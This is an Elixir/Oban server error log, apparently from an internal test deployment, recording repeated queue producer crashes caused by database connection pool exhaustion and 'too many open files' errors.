    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:01:14.241841Z], limit: 20, uuid: "d151cc13-7f11-43c4-8905-42cbca3f0567", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:14.241845Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16820>, refresh_timer: #Reference<0.2525715032.1068498948.43475>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:26.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:01:14.245711Z], limit: 5, uuid: "e1508f8f-39be-4983-96c8-80cf965281c7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:14.245716Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16822>, refresh_timer: #Reference<0.2525715032.1068498948.43504>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:26.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:01:14.245601Z], limit: 3, uuid: "06dc187e-b8f7-49f7-8af3-0a5933d0e95c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:14.245606Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.43507>, refresh_timer: #Reference<0.2525715032.1068498948.43498>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:28.547000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:31.402000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:32.860000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:01:26.241024Z], limit: 50, uuid: "bcc564eb-5cf9-4982-9489-246f50f03cf0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:26.241032Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.17130>, refresh_timer: #Reference<0.2525715032.1099431938.39909>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1058ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:01:26.243245Z], limit: 5, uuid: "80395ebb-96b0-46b9-aa98-4b82b0d95ffb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:26.243251Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.17119>, refresh_timer: #Reference<0.2525715032.1077673987.17111>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 999ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:01:26.239944Z], limit: 5, uuid: "3d42342e-95aa-4360-a4ae-2366c11b0c6e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:26.239952Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.17118>, refresh_timer: #Reference<0.2525715032.1077673987.17071>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:01:26.240281Z], limit: 10, uuid: "38d98b3f-96c5-4da8-8076-09ae33e9af25", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:26.240287Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.17117>, refresh_timer: #Reference<0.2525715032.1077673987.17082>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:38.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:01:26.243046Z], limit: 20, uuid: "025f5c27-9559-431a-aeb8-fbcaf04d2b97", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:26.243054Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.43655>, refresh_timer: #Reference<0.2525715032.1068498948.43654>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:01:26.243674Z], limit: 3, uuid: "cccedf4f-21d9-4713-b871-939a23e1b728", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:26.243681Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.17147>, refresh_timer: #Reference<0.2525715032.1077673987.17126>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:39.964000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:43.587000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:44.768000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:45.623000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:46.504000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:47.608000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
